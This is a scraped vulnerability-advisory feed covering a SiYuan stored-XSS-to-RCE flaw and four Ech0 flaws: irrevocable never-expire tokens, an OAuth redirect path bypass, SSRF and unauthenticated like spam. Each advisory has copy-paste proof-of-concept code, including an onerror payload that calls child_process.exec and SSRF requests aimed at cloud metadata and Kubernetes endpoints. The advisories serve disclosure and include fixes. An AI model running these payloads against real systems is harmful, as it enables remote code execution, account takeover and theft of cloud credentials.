class="av__container">${genTabHeaderHTML(...)}...</div>`; ``` Same pattern in `kanban/render.ts:227` and `gallery/render.ts:142`. **Sink #2 — Doc title attribute strip → innerHTML.** `app/src/protyle/header/Title.ts:396-403`: ```ts response.data.attrViews.forEach((item: { id: string, name: string }) => { avTitle += `<span data-av-id="${item.id}" ... class="popover__block">${item.name}</span>&nbsp;`; }); nodeAttrHTML += `<div class="protyle-attr--av">...${avTitle}</div>`; this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML; ``` **Sink #3 — WebSocket `updateAttrs` push → innerHTML.** `app/src/protyle/wysiwyg/transaction.ts:549-562,659`: ```ts const escapeHTML = Lute.EscapeHTMLStr(data.new[key]); if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; } else if (key === "name") { nameHTML = `...${escapeHTML}...`; } else if (key === "alias") { aliasHTML = `...${escapeHTML}...`; } else if (key === "memo") { memoHTML = `...${escapeHTML}...`; } else if (key === "custom-avs" && data.new["av-names"]) { avHTML = `<div class="protyle-attr--av">...${data.new["av-names"]}</div>`; // ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above } // ... attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP; ``` The four sibling cases use `Lute.EscapeHTMLStr` — proving the team knows the right pattern; only `av-names` was missed. **Renderer posture — RCE multiplier.** `app/electron/main.js:407-411`: ```js webPreferences: { nodeIntegration: true, webviewTag: true, webSecurity: false, contextIsolation: false, } ``` **Reachability.** Route `/api/transactions setAttrViewName` requires `CheckAuth + CheckAdminRole + CheckReadonly`. On default install (`Conf.AccessAuthCode == ""`), `kernel/model/session.go:261-287` auto-grants Administrator to local-origin requests. The Origin check accepts `localhost` / loopback only **but `chrome-extension://` is explicitly allowlisted** (`session.go:277`), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass. ## Suggested fix 1. `kernel/model/attribute_view.go getAvNames` (line 3283-3284): replace the two `strings.ReplaceAll` calls with `template.HTMLEscapeString(nodeAvName)` for the `${avName}` substitution. 2. `transaction.ts:559`: wrap with `Lute.EscapeHTMLStr` to match siblings at lines 549-557. 3. `render.ts:120`: use `Lute.EscapeHTMLStr(data.name)` for both `data-title=` and the text content. 4. `Title.ts:396`: escape `item.name` via `Lute.EscapeHTMLStr` and `item.id` via `escapeAttr`. 5. *(Defense-in-depth)* Switch the main BrowserWindow to `contextIsolation: true` with a preload bridge — caps every future renderer XSS at "DOM only," not RCE. --- ## Reproduction (copy-paste-ready) Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against `master` HEAD on 2026-05-03). Windows users: replace `python3` with `py` and use Git Bash / WSL for the shell snippets, or translate to PowerShell. ### Prereqs 1. **Install SiYuan v3.6.5** from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at `~/SiYuanWorkspace` is initialized. Do **not** set an Access Authorization Code (default). 2. **Verify the kernel responds:** ```sh curl -s http://127.0.0.1:6806/api/system/version ``` Expected output (single line of JSON): ```json {"code":0,"msg":"","data":"3.6.5"} ``` 3. **Pin shell variables** for the rest of the PoC: ```sh API=http://127.0.0.1:6806 WS=~/SiYuanWorkspace # adjust if your workspace lives elsewhere NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \ -H 'Content-Type: application/json' -d '{}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])') echo "Using notebook: $NOTEBOOK_ID" ``` Expected: a 14-digit-timestamp + `-7chars` ID like `20240101120000-abc1234`. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once. ### Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds) The kernel's `setAttrViewName` requires the AV file to already exist on disk (`av.ParseAttributeView` returns an error otherwise). The simplest way to create one is via the editor: 1. Open SiYuan. In any document, type `/database` and press Enter (or open the slash-command menu and pick **Database**). 2. The editor inserts an Attribute View block. The kernel writes a JSON file to `<workspace>/data/storage/av/<av-id>.json`. 3. Capture the AV ID — the most recently written file in that directory: ```sh AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1) AV_ID=$(basename "$AV_FILE" .json) echo "AV_ID: $AV_ID" ``` Expected: same 14-digit-timestamp + `-7chars` shape, e.g. `20260503160000-aaaaaaa`. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its `data-av-id` attribute.) 4. Capture the doc ID that hosts the AV: right-click the doc tab → **Copy ID**, or read it from the doc's `data-node-id` in DevTools (Ctrl+Shift+I). Set: ```sh DOC_ID=<root-block-id-of-the-doc-containing-the-AV> ``` ### Step B — Plant the XSS payload as the AV name The payload is written directly inside an unquoted heredoc so bash expands `$AV_ID` while preserving the `\"` JSON-escape sequences literally. Single-quote chars (`'`) in the inner JS need no escaping inside a JSON string. ```sh curl -s -X POST $API/api/transactions \ -H 'Content-Type: application/json' \ --data-binary @- <<EOF { "session": "x", "app": "siyuan", "transactions": [{ "doOperations": [{ "action": "setAttrViewName", "id": "$AV_ID", "data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">" }], "undoOperations": [] }] } EOF ``` Expected response: ```json {"code":0,"msg":"","data":[{"doOperations":[...,"action":"setAttrViewName",...]}]} ``` ### Step C — Verify the unescaped storage ```sh python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])" ``` Expected output (the raw HTML as stored — `print` does not escape `"`, so they appear as literal quotes): ``` <img src=x onerror="require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')"> ``` ### Step D — Trigger In the SiYuan desktop client: 1. Switch away from the doc that contains the AV (open another doc, or close the tab). 2. Re-open the doc containing the AV (`$DOC_ID`). 3. The AV body header is rendered via `genTabHeaderHTML` → `outerHTML` at `app/src/protyle/render/av/render.ts:596`. The browser parses the `<img>` tag, fails to load `src=x`, and fires `onerror`. 4. **Calculator (or `xcalc` / `open -a Calculator`) launches.** If nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed `src=x` load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open. ### Step E — Browser-extension attack vector (the realistic remote path) A malicious or compromised installed browser extension's content/background script runs with `chrome-extension://<id>` Origin, allowlisted by `session.go:277`. The extension can run Steps B's curl-equivalent via `fetch()`: ```js // Inside any extension content/background script fetch('http://127.0.0.1:6806/api/transactions', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ session: 'x', app: 'siyuan', transactions: [{ doOperations: [{ action: 'setAttrViewName', id: '<av-id-discovered-via-prior-recon-fetches>', data: `<img src=x onerror="require('child_process').exec('xcalc')">` }] }] }) }); ``` The extension can also enumerate AV IDs by first calling `/api/notebook/lsNotebooks`, then walking notebook trees. A page from `https://attacker.com` is rejected — `IsLocalOrigin` only matches localhost/loopback. Realistic remote vectors are: **browser extensions**, **localhost-served webpages**, **shared `.sy.zip` imports**, **sync replication from a co-author's compromised device**. ### Cleanup ```sh # Remove the test doc (also removes the AV binding in the doc) curl -s -X POST $API/api/filetree/removeDocByID \ -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}" # Manually delete the AV file rm -f $WS/data/storage/av/$AV_ID.json # Restart SiYuan to clear in-memory state ``` ## Impact - **RCE on the victim's desktop** with the user's privileges, no extra prompt after the trigger condition is met. - **Persistent** — payload survives restart, syncs across devices, rides in `.sy.zip` exports and Bazaar templates. - **Triggers for any role** opening a doc bound to the AV (incl. Reader-role publish viewers). - After RCE: full filesystem read (incl. `~/.ssh/`, `~/.aws/credentials`, workspace `conf/conf.json` — kernel API token + AccessAuthCode hash), persistence (`.bashrc` / Startup folder / LaunchAgent), cloud-account pivot. - **Attack vectors:** browser extensions (`chrome-extension://` Origin allowlisted); shared `.sy.zip` files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.

الإصدارات المتأثرة

All versions < 0

CVSS Vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

عالية
📦 github.com/lin-snow/Ech0 📌 All versions < eab62379c795 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary Access tokens created with the "never expire" option have no `exp` JWT claim. Three independent revocation mechanisms fail for this token type. Logout at `internal/handler/auth/auth.go:154` and `:163` dereferences `claims.ExpiresAt.Time`, panicking on the nil field so...
📅 2026-05-07 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary Access tokens created with the "never expire" option have no `exp` JWT claim. Three independent revocation mechanisms fail for this token type. Logout at `internal/handler/auth/auth.go:154` and `:163` dereferences `claims.ExpiresAt.Time`, panicking on the nil field so the token never hits the blacklist. `RevokeToken` at `internal/repository/auth/auth.go:45-50` skips when `remainTTL <= 0`. The admin's "Delete token" panel action at `internal/service/setting/access_token_service.go:183-185` removes the database record but does not call `RevokeToken` to blacklist the JTI. Once a never-expire token leaks, the JWT stays cryptographically valid until the admin rotates the signing key across the entire instance. ## Details Creation path at `internal/util/jwt/jwt.go:103-105`: ```go // expiry = 0 表示永不过期 if expiry > 0 { claims.ExpiresAt = jwt.NewNumericDate(time.Now().UTC().Add(time.Duration(expiry) * time.Second)) } ``` For `NEVER_EXPIRY`, `expiry = 0` and the conditional skips. The resulting JWT has no `exp` claim. The middleware at `internal/middleware/auth.go` accepts it; the `jwt/v5` parser does not require `exp` by default. Failure mode 1, logout panic at `internal/handler/auth/auth.go:163`: ```go // Refresh-token revocation at line 154 (safe in practice: refresh tokens always have exp). // Access-token revocation, same pattern, at line 163 (the bug): if claims, err := jwtUtil.ParseToken(authHeader[7:]); err == nil && claims.ID != "" { remaining := time.Until(claims.ExpiresAt.Time) // nil deref when ExpiresAt is nil h.authService.RevokeToken(claims.ID, remaining) } ``` For a never-expire access token, `claims.ExpiresAt` is nil. `claims.ExpiresAt.Time` panics. Gin's Recovery middleware catches it and returns HTTP 500; the JTI never reaches `RevokeToken`. Line 154 shares the same pattern against refresh tokens, but refresh tokens are always issued with an expiry so the nil dereference does not fire there in practice. Failure mode 2, `RevokeToken` skip at `internal/repository/auth/auth.go:45-50`: ```go func (authRepository *AuthRepository) RevokeToken(jti string, remainTTL time.Duration) { if jti == "" || remainTTL <= 0 { return } authRepository.cache.SetWithTTL(fmt.Sprintf("%s%s", blacklistPrefix, jti), true, 1, remainTTL) } ``` Even if the logout path were patched to handle nil `ExpiresAt`, a caller computing `remainTTL = 0` would still skip the blacklist write. Failure mode 3, admin delete at `internal/service/setting/access_token_service.go:183-185`: ```go return settingService.transactor.Run(ctx, func(txCtx context.Context) error { return settingService.settingRepository.DeleteAccessTokenByID(txCtx, id) }) ``` Deletion removes the token's metadata row from the database. No call to `RevokeToken`, no write to the JTI blacklist. The JWT continues to validate because the signature is still authentic and the middleware does not consult the metadata table. The only way to invalidate a compromised never-expire token is to rotate `JWT_SECRET`, which invalidates every token for every user across the whole instance. ## Proof of Concept Default install. Admin creates a never-expire access token; its revocation pathways all fail: ```python import requests, base64, json TARGET = "http://localhost:8300" owner = requests.post(f"{TARGET}/api/login", json={"username": "owner", "password": "owner-pw"} ).json()["data"]["access_token"] # 1) Create a never-expire access token. r = requests.post(f"{TARGET}/api/access-tokens", headers={"Authorization": f"Bearer {owner}", "content-type": "application/json"}, json={"name": "poc-irrevocable", "expiry": "never", "scopes": ["profile:read"], "audience": "cli"}) tok = r.json()["data"] pad = lambda s: s + "=" * (-len(s) % 4) payload = json.loads(base64.urlsafe_b64decode(pad(tok.split(".")[1]))) print(f" exp claim: {payload.get('exp')} (None = never expires)") print(f" jti: {payload['jti']}") # 2) Confirm it works. r = requests.get(f"{TARGET}/api/user", headers={"Authorization": f"Bearer {tok}"}) print(f" token -> /api/user: HTTP {r.status_code}") # 3) Failure mode #1 — logout panics on nil ExpiresAt. r = requests.post(f"{TARGET}/api/auth/logout", headers={"Authorization": f"Bearer {tok}"}) print(f" logout: HTTP {r.status_code} (500 = Recovery middleware caught the panic)") # 4) Failure mode #3 — admin delete does not blacklist the JTI. listed = requests.get(f"{TARGET}/api/access-tokens", headers={"Authorization": f"Bearer {owner}"}).json()["data"] poc_row = next(t for t in listed if t["name"] == "poc-irrevocable") r = requests.delete(f"{TARGET}/api/access-tokens/{poc_row['id']}", headers={"Authorization": f"Bearer {owner}"}) print(f" admin delete: HTTP {r.status_code} {r.text}") # 5) Token should now be invalid if delete blacklisted. Test it. r = requests.get(f"{TARGET}/api/user", headers={"Authorization": f"Bearer {tok}"}) print(f" after delete, token -> /api/user: HTTP {r.status_code}") print(f" response body: {r.text[:150]}") ``` Observed on v4.5.6 in the test container: ``` exp claim: None (None = never expires) jti: 019daf86-6354-7c2d-9ff1-180de87667b3 token -> /api/user: HTTP 200 logout: HTTP 500 (500 = Recovery middleware caught the panic) admin delete: HTTP 200 {"code":1,"msg":"删除访问令牌成功","data":null} after delete, token -> /api/user: HTTP 200 response body: {"code":1,"msg":"获取用户信息成功","data":{"id":"019daf76-b5d2-7778-a90a-e943872b2946","username":"owner","email":"owner@test.local","is_admin":true,"is_owner":true,...}} ``` After the admin "deleted" the token, the same JWT string still returns the owner's profile data. The token stays valid with no path to invalidate it short of rotating `JWT_SECRET`. ## Impact The "never expire" option is intended for CLI and integration use cases where rotating tokens is expensive. When one of those tokens leaks (configuration file committed to a public repo, developer laptop compromised, log file uploaded by mistake), the admin has no remediation that does not nuke every other user's session. A compromised token gives the attacker: - **Perpetual authenticated access** at whatever scopes the token holds until the JWT secret is rotated. - **Admin's "revoke" UI button lies.** The token row disappears from the panel but the bearer keeps working. The admin believes they mitigated the incident. - **Instance-wide blast radius on proper revocation.** The only working fix (rotate JWT_SECRET) forces every user to log in again and invalidates every other access token. Security incidents force operators into an all-or-nothing choice. Precondition: token theft. A stolen token is the standard threat model for any long-lived credential; the point of revocation is that stolen credentials can be invalidated. Ech0 currently has no working path to do that for the "never expire" class. ## Recommended Fix Three coordinated changes, matching the three failure modes: 1. Replace "never expire" with a very long expiry (for example 10 years) so every token has a finite `exp` claim. This removes the conditional at `jwt.go:103` entirely: ```go if expiry == model.NEVER_EXPIRY { expiry = int64((10 * 365 * 24 * time.Hour).Seconds()) } claims.ExpiresAt = jwt.NewNumericDate(time.Now().UTC().Add(time.Duration(expiry) * time.Second)) ``` 2. If the "never expire" semantics must be preserved, make logout handle nil `ExpiresAt` explicitly: ```go if claims, err := jwtUtil.ParseToken(authHeader[7:]); err == nil && claims.ID != "" { var remaining time.Duration if claims.ExpiresAt != nil { remaining = time.Until(claims.ExpiresAt.Time) } else { remaining = 365 * 24 * time.Hour } h.authService.RevokeToken(claims.ID, remaining) } ``` And accept non-positive TTLs in `RevokeToken` by substituting a long default. 3. Blacklist the JTI when admin deletes an access token: ```go tok, err := settingService.settingRepository.GetAccessTokenByID(ctx, id) if err != nil { return err } if tok.JTI != "" { settingService.authRepo.RevokeToken(tok.JTI, 365*24*time.Hour) } return settingService.transactor.Run(ctx, func(txCtx context.Context) error { return settingService.settingRepository.DeleteAccessTokenByID(txCtx, id) }) ``` Any two of the three changes close the gap; all three together make the revocation semantics match the admin's mental model. --- *Found by [aisafe.io](https://aisafe.io)*

الإصدارات المتأثرة

All versions < eab62379c795

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

عالية
📦 github.com/lin-snow/Ech0 📌 All versions < a7e8b8e84bd1 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary `parseAndValidateClientRedirect` at `internal/service/auth/auth.go:448` validates OAuth client-redirect URIs by comparing only scheme and host against the admin-configured allowlist. Path, query, and fragment are ignored. The initiator at `/oauth/:provider/login` embe...
📅 2026-05-07 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary `parseAndValidateClientRedirect` at `internal/service/auth/auth.go:448` validates OAuth client-redirect URIs by comparing only scheme and host against the admin-configured allowlist. Path, query, and fragment are ignored. The initiator at `/oauth/:provider/login` embeds the caller-supplied `redirect_uri` verbatim into the signed state JWT without any validation at login time. Alice submits a crafted `redirect_uri` whose host matches an allowed origin but whose path points to any page on that host. After the provider exchange, Ech0 redirects the victim to the attacker-chosen path with the one-time exchange code in the query string. If the chosen path leaks the URL via Referer, analytics, or an open redirect, the attacker trades the code at `POST /api/auth/exchange` for the victim's access and refresh tokens. RFC 6749 §3.1.2 requires exact redirect URI matching. ## Details Validation at `internal/service/auth/auth.go:448`: ```go matched := false for _, item := range allowed { allowURL, parseErr := url.Parse(strings.TrimSpace(item)) if parseErr != nil || allowURL == nil || allowURL.Host == "" { continue } if strings.EqualFold(redirectURL.Scheme, allowURL.Scheme) && strings.EqualFold(redirectURL.Host, allowURL.Host) { matched = true break } } ``` Scheme and host compared via `EqualFold`. Path, query, fragment all ignored. An allowlist entry of `https://myecho.example.com/dashboard` matches every `https://myecho.example.com/<anything>` the attacker sends. Login flow at `internal/service/auth/auth.go:141` (`GetOAuthLoginURL`) and the handler at `internal/handler/auth/oauth.go:43`: ```go redirectURI := ctx.Query("redirect_uri") redirectURL, err := h.authService.GetOAuthLoginURL(provider, redirectURI) // ... ctx.Redirect(302, redirectURL) ``` No validation at login. The raw `redirect_uri` query parameter is passed to `GetOAuthLoginURL`, which encodes it into the signed state JWT alongside the provider name and nonce. The state JWT travels through the OAuth provider and returns on the callback. At callback time, `parseAndValidateClientRedirect(oauthState.Redirect)` fires at `internal/service/auth/auth.go:372` and `:427` inside the callback handler chain. Scheme and host are the only gates on the attacker-chosen URI. After validation, the server generates a one-time exchange code and redirects the browser to the attacker-chosen path: ``` 302 Location: https://myecho.example.com/<attacker-path>?code=<one-time-exchange-code> ``` The code is valid at the public endpoint `POST /api/auth/exchange` for up to 60 seconds (single-use). An attacker who reads the code from the URL trades it for the victim's access token and refresh token. ## Proof of Concept Default install with OAuth2 configured. Admin allows `https://myecho.example.com/dashboard` as the return URL; Alice sends a crafted login link whose redirect points elsewhere on the same host: ```python import requests, urllib.parse, base64, json TARGET = "http://localhost:8300" # Admin setup: enable OAuth with one allowed return URL (dashboard). owner = requests.post(f"{TARGET}/api/login", json={"username": "owner", "password": "owner-pw"} ).json()["data"]["access_token"] requests.put(f"{TARGET}/api/oauth2/settings", headers={"Authorization": f"Bearer {owner}", "content-type": "application/json"}, json={"enable": True, "provider": "github", "client_id": "poc-client-id", "client_secret": "poc-client-secret", "redirect_uri": f"{TARGET}/oauth/github/callback", "scopes": ["read:user"], "auth_url": "https://github.com/login/oauth/authorize", "token_url": "https://github.com/login/oauth/access_token", "user_info_url": "https://api.github.com/user", "auth_redirect_allowed_return_urls": ["https://myecho.example.com/dashboard"]}) # Alice's link to the victim. Same host, different path. for attacker_uri in [ "https://myecho.example.com/dashboard", # control, allowed "https://myecho.example.com/attacker-chosen-path", # path bypass "https://attacker.example/foo", # different host, should also fail ]: url = f"{TARGET}/oauth/github/login?redirect_uri=" + urllib.parse.quote(attacker_uri) r = requests.get(url, allow_redirects=False) loc = r.headers.get("Location", "") state_jwt = urllib.parse.parse_qs(urllib.parse.urlparse(loc).query).get("state", [""])[0] pad = lambda s: s + "=" * (-len(s) % 4) payload = json.loads(base64.urlsafe_b64decode(pad(state_jwt.split(".")[1]))) print(f" redirect_uri={attacker_uri!r}") print(f" login HTTP: {r.status_code}") print(f" state JWT redirect: {payload.get('redirect')!r}") ``` Observed on v4.5.6: ``` redirect_uri='https://myecho.example.com/dashboard' login HTTP: 302 state JWT redirect: 'https://myecho.example.com/dashboard' redirect_uri='https://myecho.example.com/attacker-chosen-path' login HTTP: 302 state JWT redirect: 'https://myecho.example.com/attacker-chosen-path' redirect_uri='https://attacker.example/foo' login HTTP: 302 state JWT redirect: 'https://attacker.example/foo' ``` All three `redirect_uri` values sail through login with no validation; the state JWT carries the attacker-chosen URL verbatim. The first two pass the callback's scheme+host check against the `dashboard` allowlist entry and the server redirects to the attacker-chosen path with the exchange code appended. The third (different host) fails the callback's allowlist check, so it does not land; the point is that no validation occurs at login time, only at callback, and the callback check ignores path entirely. ## Impact Alice delivers a single link to Bob (phishing email, social-engineering message, embedded redirect in a compromised site). Bob clicks, completes OAuth as himself, and lands on the attacker-chosen path on the legitimate Ech0 host with `?code=<one-time>` in the URL. Three paths to full account takeover follow: - **Referer leakage.** A single `<img src="https://attacker.site/log">` or `<script src>` on the attacker-chosen path sends the victim's full URL (including the code) to the attacker in the Referer header. - **Analytics and third-party scripts.** Any page on the allowlisted host that loads Google Analytics, Sentry, or Segment reports the URL (including the code) to those services. Any attacker with access to those accounts reads the code. - **Open-redirect chains.** If any path on the allowlisted host has an open-redirect bug, the attacker targets it and bounces the URL (with the code) to their server. The code is trade-in-able at `POST /api/auth/exchange`, which is public. The exchange returns the victim's access_token and refresh_token. Full account takeover follows. Preconditions: Ech0's OAuth is configured (opt-in), one allowlisted host has any path that leaks URLs, and the attacker reaches the victim with a crafted link. RFC 6749 §3.1.2 exists precisely to prevent this chain. ## Recommended Fix Require exact redirect URI matching per the spec. Compare scheme, host, and path together: ```go redirectNorm := strings.ToLower(redirectURL.Scheme) + "://" + strings.ToLower(redirectURL.Host) + redirectURL.Path for _, item := range allowed { allowURL, parseErr := url.Parse(strings.TrimSpace(item)) if parseErr != nil || allowURL == nil || allowURL.Host == "" { continue } allowNorm := strings.ToLower(allowURL.Scheme) + "://" + strings.ToLower(allowURL.Host) + allowURL.Path if redirectNorm == allowNorm { matched = true break } } ``` Validate the `redirect_uri` at login time too, so a malformed value never enters the state JWT: ```go func (s *AuthService) GetOAuthLoginURL(provider, redirectURI string) (string, error) { if redirectURI != "" { if _, err := s.parseAndValidateClientRedirect(redirectURI); err != nil { return "", err } } // ... rest unchanged } ``` Document the exact-match semantics in the admin panel. Every allowlisted return URL needs the full path the front-end lands on. --- *Found by [aisafe.io](https://aisafe.io)*

الإصدارات المتأثرة

All versions < a7e8b8e84bd1

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

عالية
📦 github.com/lin-snow/ech0 📌 All versions < 091d26d2d942 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary The `fetchPeerConnectInfo` function in `internal/service/connect/connect.go:214-239` uses `httpUtil.SendRequest` (no SSRF protection) instead of `SendSafeRequest` (which has `ValidatePublicHTTPURL` with private IP blocking). This allows authenticated users to make the ...
📅 2026-05-07 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary The `fetchPeerConnectInfo` function in `internal/service/connect/connect.go:214-239` uses `httpUtil.SendRequest` (no SSRF protection) instead of `SendSafeRequest` (which has `ValidatePublicHTTPURL` with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints. ## Details In `internal/service/connect/connect.go`, the `fetchPeerConnectInfo` function: ```go func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) { url := httpUtil.TrimURL(peerConnectURL) + "/api/connect" resp, err := httpUtil.SendRequest(url, "GET", struct {...}{...}, requestTimeout) ``` This uses `SendRequest` which has NO URL validation. The codebase HAS `SendSafeRequest` at `internal/util/http/http.go:228-281` with proper SSRF protection, but `fetchPeerConnectInfo` does not use it. Called from: - Line 307: `data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)` - - Line 498: `data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)` ## PoC ```bash # 1. Add a connection pointing to AWS metadata service curl -X POST "https://ech0.example.com/api/connects" \ -H "Authorization: Bearer <token>" \ -d '{"connect_url": "http://169.254.169.254/latest/meta-data/instance-id"}' # 2. Trigger SSRF via health check curl -H "Authorization: Bearer <token>" \ "https://ech0.example.com/api/connects/health" # Returns AWS EC2 instance ID ``` Or for Kubernetes: ```bash curl -X POST "https://ech0.example.com/api/connects" \ -H "Authorization: Bearer <token>" \ -d '{"connect_url": "http://kubernetes.default.svc.cluster.local:443/api"}' ``` ## Impact - **Confidentiality**: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API - - **CWE-918**: Server-Side Request Forgery

الإصدارات المتأثرة

All versions < 091d26d2d942

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

غير محدد
📦 github.com/lin-snow/Ech0 📌 All versions < cecc2c19b590 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ## Summary `PUT /api/echo/like/:id` at `internal/router/echo.go:12` is registered on `PublicRouterGroup` with no authentication and no rate limit. Anonymous callers increment the `fav_count` counter on any echo (including private echoes) by UUID, repeat the request without dedup...
📅 2026-05-07 OSV/Go 🔗 التفاصيل

الوصف الكامل

## Summary `PUT /api/echo/like/:id` at `internal/router/echo.go:12` is registered on `PublicRouterGroup` with no authentication and no rate limit. Anonymous callers increment the `fav_count` counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public `GET /api/echo/page` response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers. ## Details Route registration at `internal/router/echo.go:12`: ```go appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho()) ``` `PublicRouterGroup` is `r.Group("/api")` without the JWT middleware that `AuthRouterGroup` applies. The handler passes through to `EchoService.LikeEcho`, which calls `EchoRepository.LikeEcho` at `internal/repository/echo/echo.go:270`: ```go func (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error { var exists bool if err := echoRepository.getDB(ctx).Model(&model.Echo{}). Select("count(*) > 0").Where("id = ?", id).Find(&exists).Error; err != nil { return err } if !exists { return errors.New(commonModel.ECHO_NOT_FOUND) } if err := echoRepository.getDB(ctx).Model(&model.Echo{}). Where("id = ?", id). UpdateColumn("fav_count", gorm.Expr("fav_count + ?", 1)).Error; err != nil { return err } return nil } ``` No viewer check, no ownership check, no private-flag check. Compare the read path at `EchoService.GetEchoById` (`internal/service/echo/echo.go:275-300`) which rejects anonymous readers on private echoes; the like path skips that gate. `InvalidateEchoCaches` (`internal/repository/echo/echo.go:51-58`) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind `checkRateLimit` (`internal/service/comment/comment.go:731-766`, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware. ## Proof of Concept Default install, anonymous caller on the network: ```python import requests TARGET = "http://localhost:8300" # 1) Discover an echo UUID from the public feed (no auth). page = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json() echo_id = page["data"]["items"][0]["id"] # 2) Like it. Repeat without deduplication. for i in range(3): r = requests.put(f"{TARGET}/api/echo/like/{echo_id}") print(f"public like #{i+1}: HTTP {r.status_code} {r.text}") # 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page, # but the UUID arrives via other channels (logs, referer, shared drafts). private_id = "019daf77-4a97-7c4c-a63c-791b10ecfd0b" # admin-created private echo r = requests.put(f"{TARGET}/api/echo/like/{private_id}") print(f"private like: HTTP {r.status_code} {r.text}") ``` Observed on v4.5.6 in the test container: ``` public like #1: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} public like #2: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} public like #3: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} private like: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null} ``` The same IP likes the same echo three times without 429 or dedup. The private-echo like (UUID `019daf77-4a97...`) succeeded even though `GetEchosById` would refuse to read that echo for an anonymous caller. ## Impact Anonymous, rate-limit-free writes against any echo's `fav_count`. Direct impact: - **Popularity signal destruction.** fav_count powers the `hot` feed; a single script skews the ranking at will. - **Private-boundary bypass.** Private-flagged echoes remain non-readable, but they accept likes from anyone who knows the UUID. UUIDs leak through logs, referer headers on shared drafts, and the owner's browser history. - **Server and cache load.** Every call triggers a SQLite `UPDATE` transaction plus four cache-key invalidations. A single attacker from one IP drives sustained writes and forces cache stampedes for every concurrent reader. Reachability is anonymous. No credentials, no tokens, no session. Every Ech0 deployment that exposes port 6277 is reachable. ## Recommended Fix Move the route to `AuthRouterGroup` so JWT middleware applies, add a per-user dedup gate, and rate-limit at the middleware layer: ```go appRouterGroup.AuthRouterGroup.PUT( "/echo/like/:id", middleware.RateLimit(5, 10), h.EchoHandler.LikeEcho(), ) ``` At the service layer, check the private flag and record the user/echo pair in a join table to prevent repeat increments from the same user: ```go func (s *EchoService) LikeEcho(ctx context.Context, id string) error { userID := viewer.MustFromContext(ctx).UserID() if userID == "" { return errors.New(commonModel.NO_PERMISSION_DENIED) } echo, err := s.echoRepository.GetEchosById(ctx, id) if err != nil || echo == nil { return errors.New(commonModel.ECHO_NOT_FOUND) } if echo.Private { user, err := s.commonService.CommonGetUserByUserId(ctx, userID) if err != nil || !user.IsAdmin { return errors.New(commonModel.NO_PERMISSION_DENIED) } } return s.echoRepository.LikeEchoOnce(ctx, id, userID) } ``` --- *Found by [aisafe.io](https://aisafe.io)*

الإصدارات المتأثرة

All versions < cecc2c19b590

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

غير محدد
